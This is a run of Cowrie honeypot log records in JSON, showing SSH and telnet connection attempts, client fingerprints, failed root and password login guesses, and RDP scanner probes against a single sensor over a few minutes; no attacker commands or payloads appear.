{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:d2:43:0d:5c:24:f3:30:26:97:89:c2:31:c7:36:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFKElg3k+tsmbQaBYvomMHbRejIyHn2JMfqirJp/tltj3D7vs4h5a+Tg3/VkLq/lQ+IeJab+anlzb/OZM/IlhZxlVmilIkfbj7g0cwg1lrDOKAuNjiWbn2WBjdRbCvUCveTUTbCZabEK2azXFU9mpkj+SJ5Q/n4qBJmnlcT3uOsWwrax+IGK8SWyBVkfgcGSSAisNrhTHP21L8btA10y0MJRKgLdSK0a6HM2AQ6oIXuRB6gzNhLoWTmfzJ9vMtpE3rBEnyGoFbBbwlhAQgxWWD14mr0xh7u5QWI6MmpWeUYqRyCdz+SCg5vZFoMJWA/4zHGj0N1RitNpsA8bBaXFQH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.884619Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:31:09:d4:79:1e:31:32:f3:7c:0f:c9:85:04:10:f9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMPD8Z5tJ0Xl4IwUOAu+PX2WuyJW/2IVx/PHg8yLj7MB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 35:31:09:d4:79:1e:31:32:f3:7c:0f:c9:85:04:10:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.915289Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:31:09:d4:79:1e:31:32:f3:7c:0f:c9:85:04:10:f9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMPD8Z5tJ0Xl4IwUOAu+PX2WuyJW/2IVx/PHg8yLj7MB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.918897Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:df:e9:70:dd:dc:67:c9:19:ed:20:8b:18:c8:65:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlhFMlgz+14jjc1f464KdUYAfs30i3Btb676bFlhQRl5ywiQwcejhy3GoN802E1ROlENFXHajk3I+oHmlzCXlGIhk8ZjtQ3RAaRdahdUbFB4yxmlBulp7B7KuakIIOvY+7YKECVzDNAv+L35h3ywBJsKDVUb46xwYGns3/ryX84SZhh9xlqG0oPcTVCSLjlswHLHen87OYDXDJywLB9lXm9nk4E2O9T+8QztUwmJT+GJOgZyh6lmXnlo4vn1baUsySSeNGBc7ulwpfGS5SNt23bpcVLjijRRqAvHH8RiuDFusWPr6iEkRl/hf8qO/ygJYtYsBz46Y5Vv2cEy0mmLLD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:df:e9:70:dd:dc:67:c9:19:ed:20:8b:18:c8:65:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.952822Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:df:e9:70:dd:dc:67:c9:19:ed:20:8b:18:c8:65:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlhFMlgz+14jjc1f464KdUYAfs30i3Btb676bFlhQRl5ywiQwcejhy3GoN802E1ROlENFXHajk3I+oHmlzCXlGIhk8ZjtQ3RAaRdahdUbFB4yxmlBulp7B7KuakIIOvY+7YKECVzDNAv+L35h3ywBJsKDVUb46xwYGns3/ryX84SZhh9xlqG0oPcTVCSLjlswHLHen87OYDXDJywLB9lXm9nk4E2O9T+8QztUwmJT+GJOgZyh6lmXnlo4vn1baUsySSeNGBc7ulwpfGS5SNt23bpcVLjijRRqAvHH8RiuDFusWPr6iEkRl/hf8qO/ygJYtYsBz46Y5Vv2cEy0mmLLD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.956553Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.986358Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.32857823371887,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:48.853741Z","src_ip":"152.42.224.71","session":"e420fd34be58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40980,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7023f5c8bb2","protocol":"ssh","message":"New connection: 46.19.67.181:40980 (10.17.0.5:22) [session: c7023f5c8bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:53.498663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:53.503526Z","src_ip":"46.19.67.181","session":"c7023f5c8bb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:53.621690Z","src_ip":"46.19.67.181","session":"c7023f5c8bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maria","message":"login attempt [root/maria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:53.975385Z","src_ip":"46.19.67.181","session":"c7023f5c8bb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:55.096310Z","src_ip":"46.19.67.181","session":"c7023f5c8bb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.58861684799194,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:00.543641Z","src_ip":"152.42.224.71","session":"6f161ec9b2ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.71541690826416,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:01.629819Z","src_ip":"152.42.224.71","session":"feacca04de32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40432,"dst_ip":"10.17.0.5","dst_port":23,"session":"986038eb631b","protocol":"telnet","message":"New connection: 152.42.224.71:40432 (10.17.0.5:23) [session: 986038eb631b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:32.054924Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":51000,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fd02e96d261","protocol":"ssh","message":"New connection: 103.122.221.179:51000 (159.203.135.109:22) [session: 3fd02e96d261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:39.053001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:39.060040Z","src_ip":"103.122.221.179","session":"3fd02e96d261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:39.319176Z","src_ip":"103.122.221.179","session":"3fd02e96d261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marishka","message":"login attempt [root/marishka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:40.096985Z","src_ip":"103.122.221.179","session":"3fd02e96d261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:41.359864Z","src_ip":"103.122.221.179","session":"3fd02e96d261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54152,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c2eaf6dcb71","protocol":"telnet","message":"New connection: 152.42.224.71:54152 (10.17.0.5:23) [session: 6c2eaf6dcb71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:43.746766Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58998,"dst_ip":"10.17.0.5","dst_port":22,"session":"397a84522511","protocol":"ssh","message":"New connection: 152.42.212.128:58998 (10.17.0.5:22) [session: 397a84522511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:44.326437Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:44.330259Z","src_ip":"152.42.212.128","session":"397a84522511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:44.333428Z","src_ip":"152.42.212.128","session":"397a84522511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00257015228271,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:45.704130Z","src_ip":"152.42.224.71","session":"98b6463e4598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40556,"dst_ip":"10.17.0.5","dst_port":23,"session":"db0ce961d972","protocol":"telnet","message":"New connection: 152.42.224.71:40556 (10.17.0.5:23) [session: db0ce961d972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:46.674399Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":48632,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcaa789ebe0a","protocol":"ssh","message":"New connection: 2.57.122.238:48632 (10.17.0.5:22) [session: bcaa789ebe0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:51.374320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:51.379226Z","src_ip":"2.57.122.238","session":"bcaa789ebe0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:51.483643Z","src_ip":"2.57.122.238","session":"bcaa789ebe0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:51.795191Z","src_ip":"2.57.122.238","session":"bcaa789ebe0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:34:52.901502Z","src_ip":"2.57.122.238","session":"bcaa789ebe0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59868,"dst_ip":"10.17.0.5","dst_port":22,"session":"62d9e23a976c","protocol":"ssh","message":"New connection: 167.172.81.52:59868 (10.17.0.5:22) [session: 62d9e23a976c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:04.276911Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:04.285393Z","src_ip":"167.172.81.52","session":"62d9e23a976c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:04.290716Z","src_ip":"167.172.81.52","session":"62d9e23a976c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47190,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f02124f910c","protocol":"telnet","message":"New connection: 152.42.224.71:47190 (10.17.0.5:23) [session: 0f02124f910c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:04.410912Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34472,"dst_ip":"10.17.0.5","dst_port":23,"session":"c00ce4e4171d","protocol":"telnet","message":"New connection: 152.42.224.71:34472 (10.17.0.5:23) [session: c00ce4e4171d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:06.384499Z"}
{"eventid":"cowrie.session.closed","duration":41.62822937965393,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:13.683059Z","src_ip":"152.42.224.71","session":"986038eb631b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.71371245384216,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:37.387984Z","src_ip":"152.42.224.71","session":"db0ce961d972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.232.23","src_port":37902,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd889b8a992","protocol":"telnet","message":"New connection: 71.6.232.23:37902 (159.203.135.109:23) [session: bdd889b8a992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:37.629219Z"}
{"eventid":"cowrie.session.closed","duration":32.89508104324341,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:39.279438Z","src_ip":"152.42.224.71","session":"c00ce4e4171d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.930056810379028,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:45.559094Z","src_ip":"71.6.232.23","session":"bdd889b8a992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.10937523841858,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:35:51.520190Z","src_ip":"152.42.224.71","session":"0f02124f910c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40432,"dst_ip":"10.17.0.5","dst_port":23,"session":"69afcdce1854","protocol":"telnet","message":"New connection: 152.42.224.71:40432 (10.17.0.5:23) [session: 69afcdce1854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:12.049831Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.62.32.180","src_port":12872,"dst_ip":"10.17.0.5","dst_port":22,"session":"c905bb95e8ae","protocol":"ssh","message":"New connection: 195.62.32.180:12872 (10.17.0.5:22) [session: c905bb95e8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:15.778823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:15.786792Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:15.879079Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:d0:49:5c:df:b3:14:34:16:d3:88:eb:9c:35:9d:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYIuFSYJ2L22vQi44P2xV562cj6PY8vDYkFmr1qtpP1gHDtR5DLYXKOuvVPGPbkHhM2SGVz53pLpCM5bICEPQBhSOOC9tHn3Iyi3aQU6qP3iergodq6LiCDFbD9xpJayv0UBwmG9H4tQGPc1rg2Hhd0F5k+JfK+Y3r+elu5+5QA4rqLz+322B/1+4yMa59e5f2qeWxzvhJkQe4Bt9sSYy8L7Dxb7F3eNb2IGO9gc1E1JOzkYgxs5n6mf8Ka9NFaoA56N0yaCEJB0gZMscNE2Ac7D/8tXGrjqQ1Y/NOnP86LKZND+WAV30GuGZRlL7jxrS441Aiyybg3Iug62N7jGYb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:d0:49:5c:df:b3:14:34:16:d3:88:eb:9c:35:9d:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.306963Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:d0:49:5c:df:b3:14:34:16:d3:88:eb:9c:35:9d:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYIuFSYJ2L22vQi44P2xV562cj6PY8vDYkFmr1qtpP1gHDtR5DLYXKOuvVPGPbkHhM2SGVz53pLpCM5bICEPQBhSOOC9tHn3Iyi3aQU6qP3iergodq6LiCDFbD9xpJayv0UBwmG9H4tQGPc1rg2Hhd0F5k+JfK+Y3r+elu5+5QA4rqLz+322B/1+4yMa59e5f2qeWxzvhJkQe4Bt9sSYy8L7Dxb7F3eNb2IGO9gc1E1JOzkYgxs5n6mf8Ka9NFaoA56N0yaCEJB0gZMscNE2Ac7D/8tXGrjqQ1Y/NOnP86LKZND+WAV30GuGZRlL7jxrS441Aiyybg3Iug62N7jGYb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.311567Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
